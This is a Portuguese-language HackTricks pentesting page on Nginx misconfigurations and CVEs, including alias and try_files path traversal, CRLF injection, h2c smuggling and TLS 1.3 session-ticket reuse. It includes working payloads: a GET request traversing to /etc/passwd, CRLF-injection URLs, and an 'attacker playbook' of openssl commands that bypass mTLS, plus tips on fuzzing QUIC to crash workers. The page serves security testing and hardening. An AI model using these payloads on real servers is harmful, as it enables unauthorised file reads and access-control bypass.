Nginx

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Location sem a diretiva root

Ao configurar o servidor Nginx, a root directive desempenha um papel crítico ao definir o diretório base a partir do qual os arquivos são servidos. Considere o exemplo abaixo:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Nesta configuração, /etc/nginx é designado como diretório root. Essa configuração permite acesso a arquivos dentro do diretório root especificado, como /hello.txt. Entretanto, é crucial notar que somente uma localização específica (/hello.txt) está definida. Não há configuração para a localização root (location / {...}). Essa omissão significa que a diretiva root se aplica globalmente, permitindo que requisições ao caminho root / acessem arquivos sob /etc/nginx.

Uma consideração crítica de segurança surge dessa configuração. Uma simples requisição GET, como GET /nginx.conf, poderia expor informações sensíveis ao servir o arquivo de configuração do Nginx localizado em /etc/nginx/nginx.conf. Definir o root para um diretório menos sensível, como /etc, poderia mitigar esse risco, porém ainda pode permitir acesso não intencional a outros arquivos críticos, incluindo outros arquivos de configuração, logs de acesso e até credenciais criptografadas usadas para autenticação HTTP básica.

Misconfiguração de Alias LFI

Nos arquivos de configuração do Nginx, uma inspeção atenta é necessária às diretivas “location”. Uma vulnerabilidade conhecida como Local File Inclusion (LFI) pode ser inadvertidamente introduzida através de uma configuração que se assemelha ao seguinte:

location /imgs {
alias /path/images/;
}

Esta configuração é suscetível a ataques LFI porque o servidor interpreta requisições como /imgs../flag.txt como uma tentativa de acessar arquivos fora do diretório pretendido, efetivamente resolvendo para /path/images/../flag.txt. Essa falha permite que atacantes recuperem arquivos do filesystem do servidor que não deveriam ser acessíveis via web.

Para mitigar essa vulnerabilidade, a configuração deve ser ajustada para:

location /imgs/ {
alias /path/images/;
}

Mais informações: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Testes Accunetix:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Restrição de caminho insegura

Consulte a página a seguir para aprender como contornar diretivas como:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Uso inseguro de variáveis / HTTP Request Splitting

Caution

Variáveis vulneráveis $uri e $document_urie isso pode ser corrigido substituindo-as por$request_uri`.

Uma regex também pode ser vulnerável como:

location ~ /docs/([^/])? { … $1 … } - Vulnerável

location ~ /docs/([^/\s])? { … $1 … } - Não vulnerável (verificando espaços)

location ~ /docs/(.*)? { … $1 … } - Não vulnerável

Uma vulnerabilidade na configuração do Nginx é demonstrada pelo exemplo abaixo:

location / {
return 302 https://example.com$uri;
}

Os caracteres \r (Carriage Return) e \n (Line Feed) indicam caracteres de nova linha em requisições HTTP, e suas formas codificadas em URL são representadas como %0d%0a. Incluir esses caracteres em uma requisição (por exemplo, http://localhost/%0d%0aDetectify:%20clrf) para um servidor mal configurado faz com que o servidor emita um novo header chamado Detectify. Isso acontece porque a variável $uri decodifica os caracteres de nova linha codificados na URL, levando a um header inesperado na resposta:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Saiba mais sobre os riscos de CRLF injection e response splitting em https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Além disso, esta técnica é explicada nesta palestra com alguns exemplos vulneráveis e mecanismos de detecção. Por exemplo, para detectar essa misconfiguração a partir de uma perspectiva blackbox você poderia fazer estas requisições:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Se vulnerável, a primeira retornará pois “X” é qualquer método HTTP e a segunda retornará um erro pois H não é um método válido. Assim o servidor receberá algo como: GET / H HTTP/1.1 e isso disparará o erro.

Outros exemplos de detecção seriam:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Algumas configurações vulneráveis encontradas e apresentadas nessa palestra foram:

  • Observe como $uri é definido tal como está na URL final
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Observe como novamente $uri está na URL (desta vez dentro de um parâmetro)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;

Agora no AWS S3

location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Qualquer variável

Foi descoberto que dados fornecidos pelo usuário podem ser tratados como uma Nginx variable em certas circunstâncias. A causa desse comportamento permanece um tanto elusiva, mas não é rara nem simples de verificar. Essa anomalia foi destacada em um relatório de segurança no HackerOne, que pode ser visto here. Investigações adicionais da mensagem de erro levaram à identificação de sua ocorrência dentro do SSI filter module of Nginx’s codebase, apontando Server Side Includes (SSI) como a causa raiz.

Para detectar esta misconfiguração, o seguinte comando pode ser executado, envolvendo a definição de um cabeçalho Referer para testar a impressão de variáveis:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Varreduras por essa má-configuração em sistemas revelaram múltiplas instâncias onde variáveis do Nginx podiam ser exibidas por um usuário. No entanto, a redução no número de instâncias vulneráveis sugere que os esforços para corrigir esse problema foram, até certo ponto, bem-sucedidos.

Usando try_files com variáveis $URI$ARGS

A seguinte má-configuração do Nginx pode levar a uma vulnerabilidade LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Na nossa configuração temos a diretiva try_files, que é usada para verificar a existência de arquivos em uma ordem especificada. O Nginx servirá o primeiro que encontrar. A sintaxe básica da diretiva try_files é a seguinte:

try_files file1 file2 ... fileN fallback;

Nginx verificará a existência de cada arquivo na ordem especificada. Se um arquivo existir, ele será servido imediatamente. Se nenhum dos arquivos especificados existir, a requisição será encaminhada para a opção de fallback, que pode ser outro URI ou uma página de erro específica.

No entanto, ao usar as variáveis $uri$args nesta diretiva, o Nginx tentará procurar um arquivo que corresponda ao URI da requisição combinado com quaisquer argumentos da query string. Portanto, podemos explorar essa configuração:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Com o seguinte payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Usando nosso payload vamos escapar do diretório root (definido na configuração do Nginx) e carregar o arquivo /etc/passwd. Nos logs de debug podemos observar como o Nginx tenta os arquivos:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC contra o Nginx usando a configuração mencionada acima: Example burp request

Leitura da resposta bruta do backend

O Nginx oferece um recurso via proxy_pass que permite interceptar erros e HTTP headers produzidos pelo backend, com o objetivo de ocultar mensagens de erro internas e esses headers. Isso é feito pelo Nginx servindo páginas de erro customizadas em resposta a erros do backend. No entanto, surgem problemas quando o Nginx encontra uma requisição HTTP inválida. Essa requisição é encaminhada ao backend tal como recebida, e a resposta bruta do backend é então enviada diretamente ao cliente sem intervenção do Nginx.

Considere um cenário de exemplo envolvendo uma aplicação uWSGI:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Para gerenciar isso, diretivas específicas na configuração do Nginx são usadas:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Esta diretiva permite que o Nginx sirva uma resposta personalizada para respostas do backend com um código de status maior que 300. Ela garante que, no nosso exemplo com a aplicação uWSGI, uma resposta 500 Error seja interceptada e tratada pelo Nginx.
  • proxy_hide_header: Como o nome indica, esta diretiva oculta cabeçalhos HTTP especificados do cliente, aumentando a privacidade e a segurança.

Quando uma requisição GET válida é feita, o Nginx a processa normalmente, retornando uma resposta de erro padrão sem revelar quaisquer cabeçalhos secretos. Contudo, uma requisição HTTP inválida contorna esse mecanismo, resultando na exposição de respostas brutas do backend, incluindo cabeçalhos secretos e mensagens de erro.

merge_slashes definido como off

Por padrão, a merge_slashes directive do Nginx está definida como on, o que comprime múltiplas barras (/) em uma URL para uma única barra. Essa funcionalidade, embora agilize o processamento de URLs, pode inadvertidamente esconder vulnerabilidades em aplicações atrás do Nginx, particularmente aquelas suscetíveis a local file inclusion (LFI). Os especialistas em segurança Danny Robinson and Rotem Bar destacaram os riscos potenciais associados a esse comportamento padrão, especialmente quando o Nginx atua como reverse-proxy.

Para mitigar tais riscos, recomenda-se desligar a diretiva merge_slashes para aplicações suscetíveis a essas vulnerabilidades. Isso garante que o Nginx encaminhe as requisições para a aplicação sem alterar a estrutura da URL, evitando assim mascarar problemas de segurança subjacentes.

Para mais informações, veja Danny Robinson and Rotem Bar.

Maclicious Response Headers

Como mostrado em this writeup, existem certos cabeçalhos que, se presentes na resposta do servidor web, alterarão o comportamento do proxy Nginx. Você pode verificá-los na documentação:

  • X-Accel-Redirect: Indica ao Nginx para redirecionar internamente uma requisição para uma localização especificada.
  • X-Accel-Buffering: Controla se o Nginx deve ou não bufferizar a resposta.
  • X-Accel-Charset: Define o conjunto de caracteres para a resposta ao usar X-Accel-Redirect.
  • X-Accel-Expires: Define o tempo de expiração para a resposta ao usar X-Accel-Redirect.
  • X-Accel-Limit-Rate: Limita a taxa de transferência para respostas ao usar X-Accel-Redirect.

Por exemplo, o cabeçalho X-Accel-Redirect causará um redirect interno no nginx. Assim, ter uma configuração do nginx com algo como root / e uma resposta do servidor web com X-Accel-Redirect: .env fará com que o nginx envie o conteúdo de /.env (Path Traversal).

Valor padrão na diretiva map

Na Nginx configuration, a diretiva map frequentemente desempenha um papel no controle de autorização. Um erro comum é não especificar um valor padrão, o que pode levar a acesso não autorizado. Por exemplo:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Sem um default, um usuário malicioso pode contornar a segurança ao acessar uma URI indefinida dentro de /map-poc. The Nginx manual recomenda definir um valor padrão para evitar esse tipo de problema.

DNS Spoofing Vulnerabilidade

DNS Spoofing contra Nginx é viável sob certas condições. Se um atacante souber o DNS server usado pelo Nginx e puder interceptar suas consultas DNS, ele pode spoofar registros DNS. Esse método, no entanto, é ineficaz se o Nginx estiver configurado para usar localhost (127.0.0.1) para resolução DNS. O Nginx permite especificar um DNS server da seguinte forma:

resolver 8.8.8.8;

proxy_pass e diretivas internal

A diretiva proxy_pass é utilizada para redirecionar requisições para outros servidores, seja internamente ou externamente. A diretiva internal garante que certos locais (locations) sejam acessíveis apenas dentro do Nginx. Embora essas diretivas não sejam vulnerabilidades por si só, sua configuração requer exame cuidadoso para evitar falhas de segurança.

proxy_set_header Upgrade & Connection

Se o servidor nginx estiver configurado para repassar os headers Upgrade e Connection, um h2c Smuggling attack poderia ser executado para acessar endpoints protegidos/internos.

Caution

Esta vulnerabilidade permitiria a um atacante estabelecer uma conexão direta com o endpoint proxy_pass (http://backend:9999 neste caso), cujo conteúdo não será verificado pelo nginx.

Example of vulnerable configuration to steal /flag from aqui:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Note que mesmo se o proxy_pass apontar para um path específico, como http://backend:9999/socket.io, a conexão será estabelecida com http://backend:9999, então você pode contatar qualquer outro path dentro desse endpoint interno. Portanto, não importa se um path está especificado na URL do proxy_pass.

DoS remoto e leak do módulo HTTP/3 QUIC (2024)

Durante 2024 o Nginx divulgou CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 e CVE-2024-35200 mostrando que uma única sessão QUIC hostil pode travar processos worker ou causar leak de memória sempre que o experimental ngx_http_v3_module estiver compilado e um socket listen ... quic estiver exposto. Builds impactados são 1.25.0–1.25.5 e 1.26.0, enquanto 1.27.0/1.26.1 trazem as correções; a divulgação de memória (CVE-2024-34161) adicionalmente requer MTUs maiores que 4096 bytes para expor dados sensíveis (detalhes no advisory do nginx de 2024 referenciado abaixo).

Dicas de reconhecimento & exploração

  • HTTP/3 é opt-in, então faça scan por respostas Alt-Svc: h3=":443" ou brute-force handshakes QUIC em UDP/443; uma vez confirmado, fuzz o handshake e os STREAM frames com payloads customizados do quiche-client/nghttp3 para provocar crashes nos workers e forçar leak de logs.
  • Identifique rapidamente o suporte do alvo com:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Um aviso de segurança de fevereiro de 2025 divulgou que o nginx 1.11.4–1.27.3 compilado com OpenSSL permite reutilizar uma sessão TLS 1.3 de um vhost baseado em nome dentro de outro, de modo que um cliente que negociou um host sem certificado pode reproduzir o ticket/PSK para entrar em um vhost protegido com ssl_verify_client on; e pular completamente o mTLS. O bug é acionado sempre que múltiplos virtual hosts compartilham o mesmo cache de sessão TLS 1.3 e tickets (veja o aviso do nginx de 2025 referenciado abaixo).

Playbook do atacante

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Se o alvo for vulnerável, a segunda handshake é concluída sem apresentar um certificado de cliente, revelando locais protegidos.

O que auditar

  • Blocos server_name mistos que compartilham ssl_session_cache shared:SSL além de ssl_session_tickets on;.
  • Blocos Admin/API que esperam mTLS, mas herdam as configurações compartilhadas de cache de sessão e tickets de hosts públicos.
  • Automação que habilita a retomada de sessão TLS 1.3 globalmente (ex., roles do Ansible) sem considerar o isolamento de vhost.

Resiliência ao HTTP/2 Rapid Reset (comportamento do CVE-2023-44487)

O ataque HTTP/2 Rapid Reset (CVE-2023-44487) ainda afeta o nginx quando operadores aumentam keepalive_requests ou http2_max_concurrent_streams além dos padrões: um atacante abre uma conexão HTTP/2, a inunda com milhares de streams e, em seguida, envia imediatamente frames RST_STREAM de modo que o teto de concorrência nunca é alcançado enquanto a CPU continua gastando ciclos na lógica de finalização. Os padrões do nginx (128 streams concorrentes, 1000 keepalive requests) mantêm o raio de impacto pequeno; elevar esses limites “substancialmente” torna trivial esgotar workers mesmo a partir de um único cliente (veja o write-up da F5 referenciado abaixo).

Dicas de detecção

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Hosts que revelam valores incomumente altos para essas diretivas são alvos prioritários: um cliente HTTP/2 pode iterar pela criação de streams e enviar instantaneamente frames RST_STREAM para manter a CPU no máximo sem acionar o limite de concorrência.

Experimente você mesmo

Detectify criou um repositório no GitHub onde você pode usar Docker para configurar seu próprio servidor de teste Nginx vulnerável com algumas das configurações incorretas discutidas neste artigo e tentar encontrá-las você mesmo!

https://github.com/detectify/vulnerable-nginx

Ferramentas de análise estática

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (um fork atualizado do GIXY) é uma ferramenta para analisar configurações do Nginx, com o objetivo de encontrar vulnerabilidades, diretivas inseguras e configurações incorretas arriscadas. Também identifica más configurações que afetam o desempenho e detecta oportunidades de hardening perdidas, permitindo a detecção automatizada de falhas.
  • gixy-ng (o fork ativamente mantido do GIXY) é uma ferramenta para analisar configurações do Nginx, com o objetivo de encontrar vulnerabilidades, diretivas inseguras e configurações incorretas arriscadas. Também identifica más configurações que afetam o desempenho e detecta oportunidades de hardening perdidas, permitindo a detecção automatizada de falhas.

Nginxpwner

Nginxpwner é uma ferramenta simples para procurar configurações incorretas e vulnerabilidades comuns do Nginx.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks